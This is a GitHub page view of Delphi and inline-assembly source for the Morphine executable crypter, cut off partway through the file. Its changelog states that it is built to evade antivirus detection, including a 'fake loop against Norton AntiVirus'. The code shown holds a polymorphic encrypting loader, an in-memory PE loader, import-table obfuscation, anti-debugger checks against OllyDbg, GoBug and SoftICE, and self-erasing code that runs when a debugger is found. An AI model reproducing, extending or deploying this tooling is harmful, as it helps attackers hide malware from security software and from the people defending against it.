-
Notifications
You must be signed in to change notification settings - Fork 12
/
morphine.dpr
6197 lines (5553 loc) · 192 KB
/
morphine.dpr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
program morphine;
{$APPTYPE CONSOLE}
//Upgraded, fixed and reloaded by Silent Shield (Dayvo)
//if RUBBISH_NOPS defined, inserted rubbish are nops only (good for debugging)
{ $DEFINE RUBBISH_NOPS}
{ $DEFINE STATIC_CONTEXT}
uses Windows, apLib, Classes, SysUtils, pelib;
{$R *.res} //Icon Resource DATA
//ORIGINAL
//this is how our new PE loox like:
//
//CodeSection:
//0..$10: jmp GetProcAddress+jmp LoadLibrary+pad
//$10..$10+KeySize:Key
//$10+KeySize..$10+KeySize+sizeof(DynLoader):DynLoader
//$10+KeySize+sizeof(DynLoader): code
//
//DataSection:
//0..sizeof(host)-1: host
//
//ImportSection:
//0..$70-1: imports
//
//[TlsSection:]
//0..sizeof(tls): tls
//
//Changelog 1.2a
//moved import function jmps (getprocaddress, loadlibrary) to the end of initdata/polymorphic loader to
//prevent AV detection (code section started with ..000000FF2534.. which was a signature):
//implemented several variants of each jmp to import section (getprocaddress, loadlibrary) and added fixups
//this is how our new PE loox like:
//
//CodeSection:
//$0..KeySize:Key
//KeySize..KeySize+sizeof(DynLoader):DynLoader
//KeySize+sizeof(DynLoader): code
//
//DataSection:
//0..sizeof(host)-1: host
//
//ImportSection:
//0..$70-1: imports
//
//[TlsSection:]
//0..sizeof(tls): tls
//Changelog 1.2b
//- some random data (CoderRoller1) into encryption routine (DynCoder and Decoder)
//- data section eliminated (too risky to have it)
//- minor bug fixes
//
//this is how our new PE loox like:
//
//CodeSection:
//0: Rubbish
//KeyPtr..KeyPtr+KeySize:Key
//KeyPtr+KeySize..KeyPtr+KeySize+sizeof(DynLoader):DynLoader
//KeyPtr+KeySize+sizeof(DynLoader): code
//code+sizeof(code): host
//
//ImportSection:
//0..$70-1: imports
//
//[TlsSection:]
//0..sizeof(tls): tls
//Changelog 1.3
//- polycode liposuction
//- polycode instruction naming
//Changelog 1.4
//- DLL SUPPORT!!!
//- well some hacks are here, so nobody can say that the code is correct - see DynLoader
//- minor bugfixes
//+ .edata section after .tls
//Changelog 1.5
//- polycode improved
//Changelog 1.6
//- polycode shrinked
//- dynloader decrypts main data
//Changelog 1.7
//- secondary encryption routine has variable-length key
//Changelog 1.8
//- polycode shrinked
//Changelog 1.9
//- icon + XP manifest support
//Changelog 2.0
//- secondary encryption routine is randomly generated
//- resource support for DLLs
//- fake loop against Norton AntiVirus
//Changelog 2.1
//- FSG 2.0 exe packer support
//Changelog 2.2
//- support for some other exe packers - Mew 1.1
//Changelog 2.3
//- fixed two serious bugz
//Changelog 2.4
//- better support for VB programs
//- support for end of file overlay data
//Changelog 2.5
//- bugfix in TLS support
//Changelog 2.6
//- bugfix in TLS support number 2
//Changelog 2.7
//- better DLL handling -> support for NT4 DLLs
//Changelog 2.8
//- tracing protection
//Changelog 2.9
//- tracing protection fixed
//- OEP Protection
//Changelog 3.0
//- now it can pack EXE or DLL
//Changelog 3.1
//- AntiDumping Protection
//Changelog 3.2
//- this program isn't be published because he has a lot of problems and i don't know to fix it
//Changelog 3.3
//- only Anti Debugger Function added, but it containts Ultra Halt :-0
//Changelog 3.5
//- only Sm@ll Import Table Protection added, but it containts Some crazy Functions
//if you need sum PEB, TEB structures (like in DynLoader)
//try look at these links:
//http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Thread/TEB.html
//http://undocumented.ntinternals.net/UserMode/Structures/LDR_MODULE.html
//http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html
const
//we need a dos stub
//that's the common dos prog writing "This program cannot be run in DOS mode"
DosStub:array[0..$38-1] of Byte=
($BA,$10,$00,$0E,$1F,$B4,$09,$CD,$21,$B8,$01,$4C,$CD,$21,$90,$90,
$54,$68,$69,$73,$20,$70,$72,$6F,$67,$72,$61,$6D,$20,$6D,$75,$73,
$74,$20,$62,$65,$20,$72,$75,$6E,$20,$75,$6E,$64,$65,$72,$20,$57,
$69,$6E,$33,$32,$0D,$0A,$24,$37);
//import section constants
NumberOfDLL=1; //number of dlls
NumberOfImports=2; //number of funcs
Kernel32Name='KeRnEl32.dLl'; //name of dll
NtdllName='ntdll.dll'; //name of ntdll.dll
GetProcAddressName='GetProcAddress'; //name of funct1
LoadLibraryName='LoadLibraryA'; //name of func2
Kernel32Size=12; //length of dll name
GetProcAddressSize=14; //length of func1 name
LoadLibrarySize=12; //length of func2 name
//polymorphic instruction indexes
PII_BEGIN = 0;
PII_POLY_BEGIN = PII_BEGIN;
PII_POLY_PUSHAD = PII_POLY_BEGIN;
PII_POLY_MOV_REG_LOADER_SIZE = PII_POLY_PUSHAD+1;
PII_POLY_MOV_REG_LOADER_ADDR = PII_POLY_MOV_REG_LOADER_SIZE+1;
PII_CODER_BEGIN = PII_POLY_MOV_REG_LOADER_ADDR+1;
PII_CODER_CALL_GET_EIP = PII_CODER_BEGIN+1;
PII_CODER_GET_EIP = PII_CODER_CALL_GET_EIP+1;
PII_CODER_FIX_DST_PTR = PII_CODER_GET_EIP+1;
PII_CODER_KEY_START = PII_CODER_FIX_DST_PTR+1;
PII_CODER_MOV_REG_KEY = PII_CODER_KEY_START;
PII_CODER_FIX_SRC_PTR = PII_CODER_MOV_REG_KEY+1;
PII_CODER_CODE = PII_CODER_FIX_SRC_PTR+1;
PII_CODER_LOAD_KEY_TO_REG = PII_CODER_CODE;
PII_CODER_TEST_KEY_END = PII_CODER_LOAD_KEY_TO_REG+1;
PII_CODER_JZ_CODER_BEGIN = PII_CODER_TEST_KEY_END+1;
PII_CODER_ADD_DATA_IDX = PII_CODER_JZ_CODER_BEGIN+1;
PII_CODER_XOR_DATA_REG = PII_CODER_ADD_DATA_IDX+1;
PII_CODER_STORE_DATA = PII_CODER_XOR_DATA_REG+1;
PII_CODER_INC_SRC_PTR = PII_CODER_STORE_DATA+1;
PII_CODER_LOOP_CODER_CODE = PII_CODER_INC_SRC_PTR+1;
PII_CODER_END = PII_CODER_LOOP_CODER_CODE+1;
PII_POLY_JMP_DYNLOADER = PII_CODER_END+1;
PII_POLY_END = PII_POLY_JMP_DYNLOADER;
PII_END = PII_POLY_END;
//other consts
MaxPolyCount=20; //maximum variants for one instruction
InitInstrCount=PII_END+1; //polymorphic loader instruction count
RawDataAlignment=$200; //alignment of SizeOfRawData
DosStubEndSize=$88; //$100 - SizeOf(DosStub)
//image type const
IMAGE_TYPE_EXE=0;
IMAGE_TYPE_DLL=1;
IMAGE_TYPE_SYS=2;
IMAGE_TYPE_UNKNOWN=$FFFFFFFF;
//this dword is at the end of DYN_LOADER in decoded form
DYN_LOADER_END_MAGIC=$C0DEC0DE;
DYN_LOADER_DEC_MAGIC=$1EE7C0DE;
//registers
REG_EAX=0;
REG_ECX=1;
REG_EDX=2;
REG_EBX=3;
REG_ESP=4;
REG_EBP=5;
REG_ESI=6;
REG_EDI=7;
REG_NON=255;
Reg8Count=8;
Reg16Count=8;
Reg32Count=8;
RT_XP_MANIFEST=24;
type
//now several types i was unable to find in std windows.pas
//and was so lazy to use more units :o)
PImageImportByName=^TImageImportByName;
TImageImportByName=packed record
Hint:Word;
Name:array of Char;
end;
PImageThunkData=^TImageThunkData;
TImageThunkData=packed record
case Byte of
0:(ForwarderString:PByte);
1:(FunctionPtr:PCardinal);
2:(Ordinal:Cardinal);
3:(AddressOfData:PImageImportByName);
end;
PImageImportDescriptor=^TImageImportDescriptor;
TImageImportDescriptor=packed record
case Byte of
0:(Characteristics,cTimeDateStamp,cForwarderChain,cName:Cardinal;cFirstThunk:PImageThunkData);
1:(OriginalFirstThunk:PImageThunkData;oTimeDateStamp,oForwarderChain,oName:Cardinal;oFirstThunk:PImageThunkData);
end;
PExportDirectoryTable=^TExportDirectoryTable;
TExportDirectoryTable=packed record
Flags,TimeStamp:Cardinal;
MajorVersion,MinorVersion:Word;
NameRVA,OrdinalBase,AddressTableEntries,NumberOfNamePointers,ExportAddressTableRVA,
NamePointerRVA,OrdinalTableRVA:Cardinal;
end;
//that's how .tls section loox like
PTlsSectionData=^TTlsSectionData;
TTlsSectionData=packed record
RawDataStart,RawDataEnd,AddressOfIndex,AddressOfCallbacks,SizeOfZeroFill,Characteristics:Cardinal;
end;
//our type for all about tls section
TTlsCopy=record
Directory:PImageDataDirectory;
SectionData:PTlsSectionData;
RawData:Pointer;
RawDataLen,Index:Cardinal;
Callbacks:Pointer;
CallbacksLen:Cardinal;
end;
//one pseudo-instruction (p-i) from polymorphic engine (can contain more than one x86 instruction)
TInstruction=packed record
Len:Byte; //opcode length
Fix1,Fix2,Fix3,Fix4:Byte; //bytes indexes for fixup
Code:array[0..30] of Char; //opcode
end;
//a list of p-i, we will chose one each time and put it into a code
TVarInstruction=packed record
Count,Index:Byte; //number of p-i and number of the chosen
VirtualAddress:Cardinal; //address of instruction in CODE section
Vars:array[0..MaxPolyCount-1] of TInstruction;//the list
end;
PResourceDirectoryTable=^TResourceDirectoryTable;
TResourceDirectoryTable=packed record
Characteristics:Cardinal;
TimeDateStamp:Cardinal;
MajorVersion:Word;
MinorVersion:Word;
NumberOfNameEntries:Word;
NumberOfIDEntries:Word;
end;
PResourceDirectoryEntry=^TResourceDirectoryEntry;
TResourceDirectoryEntry=packed record
NameID:Cardinal;
SubdirDataRVA:Cardinal;
end;
PResourceDataEntry=^TResourceDataEntry;
TResourceDataEntry=packed record
DataRVA:Cardinal;
Size:Cardinal;
Codepage:Cardinal;
Reserved:Cardinal;
end;
PResourceTableDirectoryEntry=^TResourceTableDirectoryEntry;
TResourceTableDirectoryEntry=packed record
Table:TResourceDirectoryTable;
Directory:TResourceDirectoryEntry;
end;
PIconDirectoryEntry=^TIconDirectoryEntry;
TIconDirectoryEntry=packed record
Width:Byte;
Height:Byte;
ColorCount:Byte;
Reserved:Byte;
Planes:Word;
BitCount:Word;
BytesInRes:Cardinal;
ID:Word;
end;
PIconDirectory=^TIconDirectory;
TIconDirectory=packed record
Reserved:Word;
ResType:Word;
Count:Word;
Entries:array[0..31] of TIconDirectoryEntry;
end;
TImageType=(itExe,itDLL,itSys);
TEncoderProc=function(AAddr:Pointer):Cardinal; stdcall;
var
DosHeader:TImageDosHeader;
DosStubEnd:array[0..DosStubEndSize-1] of Char;
NtHeaders:TImageNtHeaders;
FileHandle,MainFile:THandle;
InputFileName,OutputFileName,Options:string;
NumBytes,TotalFileSize,MainSize,LoaderSize,VirtLoaderData,VirtMainData,VirtKey,InitSize,KeyPtr,
AnyDWORD,LoaderPtr,TlsSectionSize,Delta,HostImageBase,HostSizeOfImage,HostCharacteristics,
ReqImageBase,RandomValue,ExportSectionSize,CurVirtAddr,CurRawData,ExportRVADelta,
HostExportSectionVirtualAddress,ExportNamePointerRVAOrg,ExportAddressRVAOrg,
ImportSectionDataSize,HostImportSectionSize,ImportSectionDLLCount,
HostImportSectionVirtualAddress,InitcodeThunk,CodeSectionVirtualSize,LoaderRealSize,
MainRealSize,MainRealSize4,LogCnt,MainDataDecoderLen,DynLoaderDecoderOffset,LdrPtrCode,LdrPtrThunk,
ResourceSectionSize,HostResourceSectionSize,ResourceIconGroupDataSize,HostResourceSectionVirtualAddress,
ResourceXPMDirSize,AfterImageOverlaysSize:Cardinal;
CodeSection,ExportSection,TlsSection,ImportSection,ResourceSection:TImageSectionHeader;
ImportDesc,NullDesc:TImageImportDescriptor;
PImportDesc:PImageImportDescriptor;
ThunkGetProcAddress,ThunkLoadLibrary:TImageThunkData;
NullWord,KeySize,TrashSize,Trash2Size,HostSubsystem:Word;
{A}MDC,{E}MainData,MainDataCyp,LoaderData,Key,InitData,Trash,Trash2,Ptr,ExportData,ImportSectionData,ResourceData,
MainDataEncoder,MainDataDecoder,AfterImageOverlays:Pointer;
PB,PB2,PB3,PB4,DynLoaderSub,LdrPtr,MainDataDecPtr:PByte;
TlsSectionPresent,ExportSectionPresent,Quiet,DynamicDLL,ResourceSectionPresent,SaveIcon,
SaveOverlay,OverlayPresent:Boolean;
TlsCopy:TTlsCopy;
TlsSectionData:TTlsSectionData;
ImageType:TImageType;
PackedSize,I:Integer;
DynLoaderJmp:PCardinal;
ResourceRoot,ResourceIconGroup,ResourceXPManifest:PResourceDirectoryTable;
ResourceDirEntry:PResourceDirectoryEntry;
EncoderProc:TEncoderProc;
procedure DynLoader; assembler; stdcall;
//THE LOADER!
//this loads pe file to memory from MainData
//fixup relocations
//fixup imports
//fixup exports
//doesn't protect pages - cuz we don't need this !?
//
asm
push 012345678h //LoadLibrary
push 012345678h //GetProcAddress
push 012345678h //Addr of MainData
//now lil hack
//we use rva for maindata, but we don't know image base
//we get eip and and it with 0FFFFF000h which does
//from 000401XXXh something like 000401000h that's why we
//have to be sure this code is not after 2000h, but WE DO know it
// Trace Tester
db 0fh,031h
push eax
db 0fh,031h
sub eax,dword ptr [esp]
add esp,04h
cmp eax,0FFFh
ja @traced
jmp @not_traced
@traced:
popad
popad
retn
@not_traced:
{
//OEP Protection
push FS:[30h]
pop ebp
mov ebp,[ebp+0Ch]
mov ebp,[ebp+0Ch]
mov DWORD PTR [ebp+20h],0FFFFFh // increase size variable
//
}
call @get_eip
@get_eip:
pop eax
and eax,0FFFFF000h
add [esp],eax
add [esp+004h],eax
add [esp+008h],eax
call @DynLoader_begin
//one more hack here
//code in LoadLibrary that call DllMain saves its esp into esi
//but we modify esi a lot and we shouldn't do this, also ebp for NT4 is need to safe
//but we can fix this up, cuz we know we left esp and it has right value
//so add sum 010h for DllMain params + ret addr and here we go
// mov esi,esp
//popad without eax and ecx
pop edi
pop esi
pop ebp
add esp,004h
pop ebx
pop edx
add esp,008h
mov [esp+004h],ecx //change DllMain.hinstDLL
// int 3
push eax //some crazy jump
retn //jumps to entrypoint
@DynLoader_begin:
//we've got image base in eax (except ax), save it to ebp-050h
push ebp
mov ebp,esp
sub esp,00000200h
{
-01F8..-0100 - NtHeaders:TImageNtHeaders
-09C - MemoryBasicInformation.BaseAddress
-098 - MemoryBasicInformation.AllocationBase
-094 - MemoryBasicInformation.AllocationProtect
-090 - MemoryBasicInformation.RegionSize
-08C - MemoryBasicInformation.State
-088 - MemoryBasicInformation.Protect
-084 - MemoryBasicInformation.Type
-07C - IsBadReadPtr:Pointer
-078 - VirtualQuery:Pointer
-074 - VirtualProtect:Pointer
-070 - FirstModule:Cardinal
-054 - OrgImageSize:Cardinal
-050 - ImageBase:Cardinal
-04C - ImageEntryPoint:Cardinal
-048 - ImageSize:Cardinal
-044 - ImageType:Cardinal
-040 - HintName:Cardinal
-03C - Thunk:Cardinal
-038..-010 - Section:TImageSectionHeader
-00C - FileData:Pointer
-008 - ImageSizeOrg:Cardinal
-004 - ImageBaseOrg:Cardinal
+008 - AddrOfMainData:Pointer
+00C - GetProcAddress:Pointer
+010 - LoadLibrary:Pointer
}
push ebx //save ebx, edi, esi
push edi
push esi
and eax,0FFFF0000h
mov [ebp-050h],eax //save ImageBase
mov ecx,00008000h
@DynLoader_fake_loop:
add eax,0AF631837h
xor ebx,eax
add bx,ax
rol ebx,007h
loop @DynLoader_fake_loop
//HERE you can insert our own crypto routine
//esp and ebp should not be changed
push dword ptr [ebp+008h] //AAddr
dd DYN_LOADER_DEC_MAGIC
//\end of crypto routine
call @DynLoader_fill_image_info
jmp @UnpackerEntryPoint
//Depack
@depackit:
pushad
call @VirtualAlloc
pushad
//
popad
call @depackpe
pushad
// movzx esahdsd
//
popad
call @copype
popad
ret
@copype:
//Destination-EDI,Source-ESI,Length-ECX
mov esi, eax
mov edi, dword ptr [ebp+08]
PUSH ECX
PUSH ESI
PUSH EDI
call @CopyMemory
pop edi
pop esi
pop ecx
ret
@depackpe:
push eax
mov ecx,dword ptr [ebp+08]
lea edx, [ecx+018h]
push edx //Source
call @aP_depack_asm
mov ecx, eax
pop edx
pop eax
ret
//VirtualAlloc
@VirtualAlloc:
push PAGE_READWRITE //flProtect
push MEM_COMMIT or MEM_RESERVE //flAllocationType
push dword ptr [ebp-048h] //File size //dwSize
push 0 //lpAddress
call ebx //VirtualAlloc
ret
//-mov eax, 07C809A81h
//-jmp eax
//-mov eax, eax
//EndOfVirtualAlloc
//Memory Mover
//----------------------------------------------------------
//CopyMemory(Destination : Integer; const Source, Length: Integer);
//----------------------------------------------------------
// Destination -> EDI
// Source -> ESI
// Length -> ECX
//----------------------------------------------------------
@CopyMemory:
PUSH ebp
MOV ebp,esp
push ecx
push eax
push esi
push edi
mov EDI,DWORD PTR SS:[EBP+08h]// -> Destination
mov ESI,DWORD PTR SS:[EBP+0Ch]// -> Source
mov ECX,DWORD PTR SS:[EBP+10h]// -> Length
xor EAX,EAX
@memcopy:
lods byte ptr ds:[esi]//ESI
stos byte ptr es:[edi]//EDI
loop @memcopy
pop edi
pop esi
pop eax
pop ecx
mov esp,ebp
pop ebp
retn
//Aplib Depacker
@aP_depack_asm:
pushad
mov esi, [esp + 36] // C calling convention
mov edi, [esp + 40]
cld
mov dl, 80h
xor ebx, ebx
@literal:
movsb
mov bl, 2
@nexttag:
call @getbit
jnc @literal
xor ecx, ecx
call @getbit
jnc @codepair
xor eax, eax
call @getbit
jnc @shortmatch
mov bl, 2
inc ecx
mov al, 10h
@getmorebits:
call @getbit
adc al, al
jnc @getmorebits
jnz @domatch
stosb
jmp @nexttag
@codepair:
call @getgamma_no_ecx
sub ecx, ebx
jnz @normalcodepair
call @getgamma
jmp @domatch_lastpos
@shortmatch:
lodsb
shr eax, 1
jz @donedepacking
adc ecx, ecx
jmp @domatch_with_2inc
@normalcodepair:
xchg eax, ecx
dec eax
shl eax, 8
lodsb
call @getgamma
cmp eax, 32000
jae @domatch_with_2inc
cmp ah, 5
jae @domatch_with_inc
cmp eax, 7fh
ja @domatch_new_lastpos
@domatch_with_2inc:
inc ecx
@domatch_with_inc:
inc ecx
@domatch_new_lastpos:
xchg eax, ebp
@domatch_lastpos:
mov eax, ebp
mov bl, 1
@domatch:
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp @nexttag
@getbit:
add dl, dl
jnz @stillbitsleft
mov dl, [esi]
inc esi
adc dl, dl
@stillbitsleft:
ret
@getgamma:
xor ecx, ecx
@getgamma_no_ecx:
inc ecx
@getgammaloop:
call @getbit
adc ecx, ecx
call @getbit
jc @getgammaloop
ret
@donedepacking:
sub edi, [esp + 40]
mov [esp + 28], edi // return unpacked length in eax
popad
ret
@FixDLLName: //eax
ret
pushad
xor edx, edx
xor ebx, ebx
popad
ret
@FixProcName: //edx
ret
pushad
xor eax, eax
mov ebx, edx
@FixProc_FindEnd:
inc ebx
cmp byte ptr[ebx], 00h
jnz @FixProc_FindEnd
dec ebx
dec edx
@Crypto_Proc:
inc edx
xor byte ptr [edx], 02h
cmp ebx, edx
jnz @Crypto_Proc
popad
ret
@SmallITP:
pushad
mov ebx, eax
push 000h
push 06C6C642Eh
push 032336C65h
push 06E72656Bh //kernel32.dll on stack
push esp //lpLibFileName
mov eax,[ebp+010h] //ImportThunk.LoadLibrary
call [eax] //LoadLibrary
add esp,010h
mov edi,eax
//
push 000h
push 0636F6C6Ch
push 0416C6175h
push 074726956h //VirtualAlloc on stack
push esp //lpProcName
push edi //hModule
mov eax,[ebp+00Ch] //ImportThunk.GetProcAddress
call [eax] //GetProcAddress
add esp,010h
mov ecx,eax
test eax,eax
jz @DynLoader_end
//
push PAGE_READWRITE //flProtect
push MEM_COMMIT or MEM_RESERVE //flAllocationType
push 018h //dwSize
push 000h //lpAddress
call ecx //VirtualAlloc
mov esi, eax
add eax, 014h
push eax
db 0fh, 031h
mov edx, eax
pop eax
sub ebx, edx
mov dword ptr [eax], ebx
mov dword ptr [esi], 0A150006Ah
mov dword ptr [esi+04h], eax
mov byte ptr [esi+08h], 05h
mov dword ptr [esi+09h], edx
mov dword ptr [esi+0Dh], 004244489h
mov word ptr [esi+011h], 0C358h
mov byte ptr [esi+013h], 0E8h
{
6A0050A1
FE009C00 - eax
05
FAD30DE8 - edx
89442404
58C3
90
}
mov [esp+01Ch], esi
popad
ret
@DestroyImport:
pushad
mov ebx, [esi+0400h]
@FindIt:
mov byte ptr [ebx], 00h
inc ebx
cmp byte ptr [ebx], 00h
jnz @FindIt
popad
ret
@SuperAntiDebugger:
pushad
@CheckKernel:
mov eax, [ebp-17Ch]
call eax
test eax, eax
jnz @DebuggerDetected
@CheckWindows:
@OllyCheck:
@CheckOllyDbg1:
mov eax, [ebp-188h]
mov [ebp-0203h], 038505A46h
mov [ebp-01FFh], 000000038h
mov ebx, ebp
sub ebx, 0203h
push 000h
push ebx
call eax
test eax, eax
jnz @DebuggerDetected
@CheckOllyDbg2:
mov eax, [ebp-188h]
mov [ebp-0203h], 0594C4C4Fh
mov [ebp-01FFh], 000474244h
mov ebx, ebp
sub ebx, 0203h
push 000h
push ebx
call eax
test eax, eax
jnz @DebuggerDetected
@GoBugCheck:
@GoBugWindowCheck:
mov eax, [ebp-188h]
mov [ebp-0203h], 000000041h
mov ebx, ebp
sub ebx, 0203h
push 000h
push ebx
call eax
test eax, eax
jz @SoftIceDetector
@GoBugWindowTitleCheck:
mov ecx, eax //ecx - HWND
mov esi, eax //ecx - HWND
mov eax, [ebp-194h]
push ecx
call eax
test eax, eax
jz @SoftIceDetector
inc eax
mov edx, eax //edx - Length
mov eax, [ebp-18Ch]
mov ebx, ebp
sub ebx, 0203h
push edx //Length
push ebx //Buffer
push esi //HWND
call eax
test eax, eax
jz @SoftIceDetector
//Compare Function
mov edx, [ebp-0203h]
mov ebx, 075426F47h
cmp ebx, edx
jnz @SoftIceDetector
mov edx, [ebp-01FFh]
mov ebx, 065442067h
cmp ebx, edx
jnz @SoftIceDetector
mov edx, [ebp-01FBh]
mov ebx, 067677562h
cmp ebx, edx
jnz @SoftIceDetector
mov [ebp-01F5h], 00h
mov edx, [ebp-01F7h]
mov ebx, 000007265h
cmp ebx, edx
jz @DebuggerDetected
@SoftIceDetector:
//Some crazy work - IsDebuggerPresent - 2
mov eax,fs:[018h]
mov ebx, ebp
add ebx, 0203h
mov eax,[eax+030h]
xor ecx, ecx
mov ebx, ecx
inc ecx
sub ebx, ecx
dec esi
add ebx, esi
push esi
movzx eax,byte ptr [eax+02h]
pop esi
test eax, eax
jnz @DebuggerDetected
//
@SICEDetector:
mov [ebp-0203h], 05C2E5C5Ch
mov [ebp-01FFh], 045434953h
mov [ebp-01FBh], 000000000h
mov ebx, ebp
sub ebx, 0203h
mov eax, [ebp-180h]
push 000000000h
push 000000080h
push 000000003h
push 000000000h
push 000000003h
push 0C0000000h
push ebx // \\.\SICE
call eax //CreateFileA
cmp eax, 0FFFFFFFFh // if invalid handle value
je @NTICEDetector // jumps here
push eax
mov eax, [ebp-184h]
call eax //CloseHandle
jmp @DebuggerDetected
@NTICEDetector:
mov [ebp-0203h], 05C2E5C5Ch
mov [ebp-01FFh], 04349544Eh
mov [ebp-01FBh], 000000045h
mov ebx, ebp
sub ebx, 0203h
mov eax, [ebp-180h]
push 000000000h
push 000000080h
push 000000003h
push 000000000h
push 000000003h
push 0C0000000h
push ebx // \\.\NTICE
call eax //CreateFileA
cmp eax, 0FFFFFFFFh // if invalid handle value
je @FinishingLine // jumps here
push eax
mov eax, [ebp-184h]
call eax //CloseHandle
jmp @DebuggerDetected
@FinishingLine:
db 0Fh, 031h
mov [ebp-0203h], eax
db 0Fh, 031h
add eax, ebx
mov [ebp-01FFh], eax
db 0Fh, 031h
sub eax, ebx
mov [ebp-01FBh], eax
call @CheckCRC64
@CheckCRC64:
pop eax
mov ebx, eax
add eax, 000000031h
sub ebx, 0000001F9h
@CalcCrc64:
mov edx, eax //ebx - zacatek ; eax - konyc
sub edx, ebx //vypocita velkost
mov esi, ebx //zacatek
mov ecx, edx //velkost
xor ebx, ebx
xor edx, edx
mov eax, 001h
@L0:
movzx ebx, byte ptr [esi]
inc esi
add eax, ecx
add eax, ebx
xor eax, ebx
xor edx, eax
dec ecx
jne @L0
cmp edx, [ebp-19Ch]
jne @DebuggerDetected
popad
jmp @Depackers
@DebuggerDetected:
call @FindNow
@FindNow:
pop eax
@FindLDRStart:
dec eax
cmp [eax], 00F50310Fh
jne @FindLDRStart
cmp [eax+04h], 024042B31h
jne @FindLDRStart
call @FindNow2
@FindNow2:
pop edi
sub edi, 08h
@EraseLoop1:
mov dword ptr[eax], 00h
inc eax
cmp eax, edi
jne @EraseLoop1
call @FindNow3
@FindNow3:
pop eax
@FindFileEnd:
inc eax
cmp [eax], 06E52654Bh
jne @FindFileEnd
cmp [eax+04h], 032336C45h
jne @FindFileEnd
cmp [eax+08h], 06C4C642Eh
jne @FindFileEnd
sub eax, 09Ch
call @FindNow4
@FindNow4:
pop ebx
@FindLoaderX:
inc ebx
cmp [ebx], 0642E3233h
jne @FindLoaderX
cmp [ebx+05h], 072657375h
jne @FindLoaderX
@EraseLoop2:
mov dword ptr[eax], 00h